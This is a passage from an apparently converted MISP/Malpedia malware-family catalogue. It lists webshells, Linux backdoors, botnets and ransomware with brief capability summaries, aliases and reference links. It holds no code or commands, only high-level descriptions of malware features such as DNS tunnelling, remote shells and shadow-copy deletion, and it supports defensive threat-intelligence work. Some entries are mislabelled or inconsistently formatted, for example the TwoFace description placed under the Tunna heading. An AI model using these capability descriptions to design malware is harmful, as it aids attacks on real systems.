<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg">https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/ztorg-from-rooting-to-sms/78775/">https://securelist.com/ztorg-from-rooting-to-sms/78775/</a></td>
</tr>
</tbody>
</table>

Nightrunner

WebShell.

The tag is: `misp-galaxy:malpedia=“Nightrunner”`

Nightrunner is also known as:

Table 1842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/asp.nightrunner">https://malpedia.caad.fkie.fraunhofer.de/details/asp.nightrunner</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/">https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/</a></td>
</tr>
</tbody>
</table>

Tunna

WebShell.

The tag is: `misp-galaxy:malpedia=“Tunna”`

Tunna is also known as:
TwoFace

According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on web servers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.

The secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.

The tag is: *misg-galaxy:malpedia=*"TwoFace"

TwoFace is also known as:

- HighShell
- HyperShell
- Minion
- SEASHARPEE
Unidentified ASP 001 (Webshell)

The tag is: `misp-galaxy:malpedia="Unidentified ASP 001 (Webshell)"

Unidentified ASP 001 (Webshell) is also known as:

**Table 1845. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001">https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001</a></td>
</tr>
</tbody>
</table>

Abcbot

Abcbot is a modular Go-based botnet and malware that propagates via exploits and brute force attempts. The botnet was observed launching DDoS attacks, perform internet scans, and serve web pages. It is probably linked to Xanthe-based clipjacking campaign.

The tag is: `misp-galaxy:malpedia="Abcbot"

Abcbot is also known as:

**Table 1846. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot</a></td>
</tr>
<tr>
<td><a href="https://www.cadosecurity.com/the-continued-evolution-of-abcbot/">https://www.cadosecurity.com/the-continued-evolution-of-abcbot/</a></td>
</tr>
<tr>
<td><a href="https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/">https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/">https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/">https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/</a></td>
</tr>
</tbody>
</table>
**Abyss Locker**

Family based on HelloKitty Ransomware. Encryption algorithm changed from AES to ChaCha. Sample seems to be unpacked.

The tag is: `misp-galaxy:malpedia="Abyss Locker"`

Abyss Locker is also known as:

- elf.hellokitty

---

**ACBackdoor (ELF)**

A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: `misp-galaxy:malpedia="ACBackdoor (ELF)"`

ACBackdoor (ELF) is also known as:

---

**AcidRain**

A MIPS ELF binary with wiper functionality used against Viasat KA-SAT modems.

The tag is: `misp-galaxy:malpedia="AcidRain"`

AcidRain is also known as:
**AgeLocker**

The tag is: `misp-galaxy:malpedia="AgeLocker"`

**AirDropBot**

AirDropBot is used to create a DDoS botnet. It spreads as a worm, currently targeting Linksys routers. Backdoor and other bot functionality is present in this family. Development seems to be ongoing.
The tag is: *misp-galaxy:malpedia="AirDropBot"*

AirDropBot is also known as:

- CloudBot

**Table 1851. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.airdrop">https://malpedia.caad.fkie.fraunhofer.de/details/elf.airdrop</a></td>
</tr>
</tbody>
</table>

**Aisuru**

Honeypot-aware variant of Mirai.

The tag is: *misp-galaxy:malpedia="Aisuru"*

Aisuru is also known as:

**Table 1852. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.aisuru">https://malpedia.caad.fkie.fraunhofer.de/details/elf.aisuru</a></td>
</tr>
</tbody>
</table>

**Akira (ELF)**

Ransomware

The tag is: *misp-galaxy:malpedia="Akira (ELF)"*

Akira (ELF) is also known as:

**Table 1853. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.akira">https://malpedia.caad.fkie.fraunhofer.de/details/elf.akira</a></td>
</tr>
</tbody>
</table>

**AnchorDNS**

Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.

The tag is: *misp-galaxy:malpedia="AnchorDNS"*

AnchorDNS is also known as:
### ANGRYREBEL

The tag is: `misp-galaxy:malpedia="ANGRYREBEL"`

ANGRYREBEL is also known as:

- Ghost RAT

### Avoslocker

The tag is: `misp-galaxy:malpedia="Avoslocker"`

Avoslocker is also known as:
AVrecon

AVrecon is a Linux-based Remote Access Trojan (RAT) targeting small-office/home-office (SOHO) routers and other ARM-embedded devices. The malware is distributed via exploitation of unpatched vulnerabilities or common misconfiguration of the targeted devices. Once deployed, AVrecon will collect some information about the infected device, open a session to pre-configured C&C server, and spawn a remote shell for command execution. It might also download additional arbitrary files and run them. The malware has recently been used in campaigns aimed at ad-fraud activities, password spraying and data exfiltration.

The tag is: *misp-galaxy:malpedia*="AVrecon"

AVrecon is also known as:

Table 1857. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.avrecon">https://malpedia.caad.fkie.fraunhofer.de/details/elf.avrecon</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BlackLotusLabs/status/168429004623548160">https://twitter.com/BlackLotusLabs/status/168429004623548160</a></td>
</tr>
<tr>
<td><a href="https://blog.lumen.com/routers-from-the-underground-exposing-avrecon/">https://blog.lumen.com/routers-from-the-underground-exposing-avrecon/</a></td>
</tr>
</tbody>
</table>

azazel

Azazel is a Linux user-mode rootkit based off of a technique from the Jynx rootkit (LD_PRELOAD technique). Azazel is purportedly more robust than Jynx and has many more anti-analysis features.

The tag is: *misp-galaxy:malpedia*="azazel"
azazel is also known as:

Table 1858. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.azazel">https://malpedia.caad.fkie.fraunhofer.de/details/elf.azazel</a></td>
</tr>
<tr>
<td><a href="https://github.com/chokepoint/azazel">https://github.com/chokepoint/azazel</a></td>
</tr>
</tbody>
</table>

B1txor20

B1txor20 is a malware that was discovered by 360 Netlab along others exploiting Log4J. the name is derived from using the file name "b1t", the XOR encryption algorithm, and the RC4 algorithm key length of 20 bytes. According to 360 Netlab this Backdoor for Linux platform uses DNS Tunnel to build a C2 communication channel. They also had the assumption that the malware is still in development, because of some bugs and not fully implemented features.

The tag is: `misp-galaxy:malpedia="B1txor20"`

B1txor20 is also known as:

Table 1859. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.b1txor20">https://malpedia.caad.fkie.fraunhofer.de/details/elf.b1txor20</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/b1txor20-use-of-dns-tunneling_cn/">https://blog.netlab.360.com/b1txor20-use-of-dns-tunneling_cn/</a></td>
</tr>
</tbody>
</table>

Babuk (ELF)

ESX and NAS modules for Babuk ransomware.

The tag is: `misp-galaxy:malpedia="Babuk (ELF)"`

Babuk (ELF) is also known as:

Table 1860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk">https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/">https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751">https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751</a></td>
</tr>
</tbody>
</table>
Backdoorit

According to Avast Decoded, Backdoorit is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it is also referred to as backd00rit.

The tag is: misp-galaxy:malpedia="Backdoorit"

Backdoorit is also known as:

- backd00rit

Table 1861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoorit">https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoorit</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/">https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/</a></td>
</tr>
</tbody>
</table>

Irc16

The tag is: misp-galaxy:malpedia="Irc16"

Irc16 is also known as:

Table 1862. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16">https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?c=5&amp;i=10193&amp;lng=en">https://news.drweb.com/show/?c=5&amp;i=10193&amp;lng=en</a></td>
</tr>
</tbody>
</table>
**BADCALL (ELF)**

BADCALL is a Trojan malware variant used by the group Lazarus Group.

The tag is: `misp-galaxy:malpedia="BADCALL (ELF)"`

BADCALL (ELF) is also known as:

Table 1863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.badcall">https://malpedia.caad.fkie.fraunhofer.de/details/elf.badcall</a></td>
</tr>
</tbody>
</table>

**Bashlite**

Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.

The tag is: `misp-galaxy:malpedia="Bashlite"`

Bashlite is also known as:

- Gafgyt
- gayfgt
- lizkebab
- qbot
- torlus

Table 1864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite</a></td>
</tr>
<tr>
<td><a href="https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt">https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/">https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/</a></td>
</tr>
<tr>
<td><a href="https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group">https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group</a></td>
</tr>
</tbody>
</table>
BCMPUPnP_Hunter

The tag is: *misp-galaxy:malpedia="BCMPUPnP_Hunter"*

BCMPUPnP_Hunter is also known as:

*Table 1865. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bcmpupnp_hunter">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bcmpupnp_hunter</a></td>
</tr>
</tbody>
</table>

BianLian (ELF)

The tag is: *misp-galaxy:malpedia="BianLian (ELF)"*

BianLian (ELF) is also known as:

*Table 1866. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bianlian">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bianlian</a></td>
</tr>
<tr>
<td><a href="https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/">https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/</a></td>
</tr>
</tbody>
</table>
Bifrost

Linux version of the bifrose malware that originally targeted Windows platform only. The backdoor has the ability to perform file management, start or end a process, or start a remote shell. The connection is encrypted using a modified RC4 algorithm.

The tag is: *misp-galaxy:malpedia*="Bifrost"

Bifrost is also known as:

- elf.bifrose

Table 1867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost</a></td>
</tr>
<tr>
<td><a href="https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/">https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/</a></td>
</tr>
<tr>
<td><a href="https://cyberandramen.net/2022/12/30/a-quick-look-at-elf-bifrose/">https://cyberandramen.net/2022/12/30/a-quick-look-at-elf-bifrose/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/strinsert1Na/status/1595553530579890176">https://twitter.com/strinsert1Na/status/1595553530579890176</a></td>
</tr>
</tbody>
</table>

BigViktor

A DDoS bot abusing CVE-2020-8515 to target DrayTek Vigor routers. It uses a wordlist-based DGA to generate its C&C domains.

The tag is: *misp-galaxy:malpedia*="BigViktor"

BigViktor is also known as:

Table 1868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bigviktor">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bigviktor</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/bigviktor-dga-botnet/">https://blog.netlab.360.com/bigviktor-dga-botnet/</a></td>
</tr>
</tbody>
</table>

BioSet

The tag is: *misp-galaxy:malpedia*="BioSet"

BioSet is also known as:
Black Basta (ELF)

ESXi encrypting ransomware, using a combination of the stream cipher ChaCha20 and RSA.

The tag is: misp-galaxy:malpedia="Black Basta (ELF)"

Black Basta (ELF) is also known as:

BlackCat (ELF)

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

The tag is: misp-galaxy:malpedia="BlackCat (ELF)"

BlackCat (ELF) is also known as:

- ALPHV
- Noberus

Table 1871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackcat">https://blog.group-ib.com/blackcat</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html">https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/sisoma2/status/1473243875158499330">https://twitter.com/sisoma2/status/1473243875158499330</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive">https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive</a></td>
</tr>
<tr>
<td><a href="https://killingthebear.jorgetesta.tech/actors/alphv">https://killingthebear.jorgetesta.tech/actors/alphv</a></td>
</tr>
<tr>
<td><a href="https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments">https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/">https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html">https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/">https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/">https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/blackcat-ransomware-levels-up-stealth-speed-exfiltration/">https://securityintelligence.com/posts/blackcat-ransomware-levels-up-stealth-speed-exfiltration/</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/alphv-ransomware-gang-analysis/">https://www.intrinsec.com/alphv-ransomware-gang-analysis/</a></td>
</tr>
<tr>
<td><a href="https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3">https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v</a></td>
</tr>
<tr>
<td><a href="https://www.forescout.com/resources/analysis-of-an-alphv-incident">https://www.forescout.com/resources/analysis-of-an-alphv-incident</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
</tbody>
</table>
BlackMatter (ELF)

The tag is: `misp-galaxy:malpedia="BlackMatter (ELF)"

BlackMatter (ELF) is also known as:

Table 1872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter">https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html">https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html</a></td>
</tr>
<tr>
<td><a href="https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group">https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-291a">https://us-cert.cisa.gov/ncas/alerts/aa21-291a</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html">https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GelosSnake/status/1451465959894667275">https://twitter.com/GelosSnake/status/1451465959894667275</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackmatter#">https://blog.group-ib.com/blackmatter#</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackmatter2">https://blog.group-ib.com/blackmatter2</a></td>
</tr>
</tbody>
</table>
Blackrota

The tag is: misp-galaxy:malpedia="Blackrota"

Blackrota is also known as:

Table 1873. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackrota
https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/

BlackSuit (ELF)

According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.

The tag is: misp-galaxy:malpedia="BlackSuit (ELF)"

BlackSuit (ELF) is also known as:

Table 1874. Table References
**BOLDMOVE (ELF)**

According to Mandiant, this malware family is attributed to potential Chinese background and directly related to observed exploitation of Fortinet's SSL-VPN (CVE-2022-42475). There is also a Windows variant.

The tag is: `misp-galaxy:malpedia="BOLDMOVE (ELF)"`

BOLDMOVE (ELF) is also known as:

Table 1875. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove">https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw">https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw</a></td>
</tr>
</tbody>
</table>

**Break out the Box**

This is a pentesting tool and according to the author, "BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies."

It has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.

The tag is: `misp-galaxy:malpedia="Break out the Box"`

Break out the Box is also known as:

- BOtB

Table 1876. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.botb">https://malpedia.caad.fkie.fraunhofer.de/details/elf.botb</a></td>
</tr>
<tr>
<td><a href="https://github.com/brompwnie/botb">https://github.com/brompwnie/botb</a></td>
</tr>
</tbody>
</table>
**BotenaGo**

According to Alien Labs, this malware targets embedded devices including routers with more than 30 exploits. SourceCode: [https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go](https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go) (2021-10-16)

The tag is: `misp-galaxy:malpedia="BotenaGo"`

BotenaGo is also known as:

*Table 1877. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago">https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago</a></td>
</tr>
<tr>
<td><a href="https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/">https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/</a></td>
</tr>
</tbody>
</table>

**BPFDoor**

BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant.

The tag is: `misp-galaxy:malpedia="BPFDoor"`

BPFDoor is also known as:

- JustForFun

*Table 1878. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor</a></td>
</tr>
<tr>
<td><a href="https://unfinished.bike/fun-with-the-new-bpfdoor-2023">https://unfinished.bike/fun-with-the-new-bpfdoor-2023</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CraigHRowland/status/1523266585133457408">https://twitter.com/CraigHRowland/status/1523266585133457408</a></td>
</tr>
<tr>
<td><a href="https://troopers.de/troopers22/talks/7cv8pz/">https://troopers.de/troopers22/talks/7cv8pz/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-espionage-tactics">https://www.mandiant.com/resources/blog/chinese-espionage-tactics</a></td>
</tr>
</tbody>
</table>
brute_ratel

The tag is: misp-galaxy:malpedia="brute_ratel"

brute_ratel is also known as:

Table 1879. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.brute_ratel">https://malpedia.caad.fkie.fraunhofer.de/details/elf.brute_ratel</a></td>
</tr>
<tr>
<td><a href="https://bruteratel.com/">https://bruteratel.com/</a></td>
</tr>
</tbody>
</table>

Bvp47

Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as "Operation Telescreen".

The tag is: misp-galaxy:malpedia="Bvp47"

Bvp47 is also known as:

Table 1880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47">https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47</a></td>
</tr>
</tbody>
</table>
Caja

Linux malware cross-compiled for x86, MIPS, ARM. XOR encoded strings, 13 commands supported for its C&C, including downloading, file modification and execution and ability to run shell commands.

The tag is: misp-galaxy:malpedia="Caja"

Caja is also known as:

Table 1881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.caja">https://malpedia.caad.fkie.fraunhofer.de/details/elf.caja</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ">https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ</a></td>
</tr>
</tbody>
</table>

Caligula

According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.

The tag is: misp-galaxy:malpedia="Caligula"

Caligula is also known as:

Table 1882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.caligula">https://malpedia.caad.fkie.fraunhofer.de/details/elf.caligula</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/">https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/</a></td>
</tr>
</tbody>
</table>

Capoae

XMRig-based mining malware written in Go.

The tag is: misp-galaxy:malpedia="Capoae"
Capoe is also known as:

*Table 1883. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.capoe">https://malpedia.caad.fkie.fraunhofer.de/details/elf.capoe</a></td>
</tr>
</tbody>
</table>

**CDorked**

This is in the same family as eBury, Califbot, and is also likely related to DarkLeech

The tag is: `misp-galaxy:malpedia="CDorked"`

CDorked is also known as:

- CDorked.A

*Table 1884. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked</a></td>
</tr>
<tr>
<td><a href="https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html">https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/">https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/</a></td>
</tr>
<tr>
<td><a href="https://blogs.cisco.com/security/linuxcdorked-faqs">https://blogs.cisco.com/security/linuxcdorked-faqs</a></td>
</tr>
</tbody>
</table>

**CDRThief**

The tag is: `misp-galaxy:malpedia="CDRThief"`

CDRThief is also known as:

*Table 1885. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdrthief">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdrthief</a></td>
</tr>
</tbody>
</table>

**Cephei**

The tag is: `misp-galaxy:malpedia="Cephei"`
Cephei is also known as:

Table 1886. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cephei">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cephei</a></td>
</tr>
</tbody>
</table>

Cetus

The tag is: *misp-galaxy:malpedia="Cetus"

Cetus is also known as:

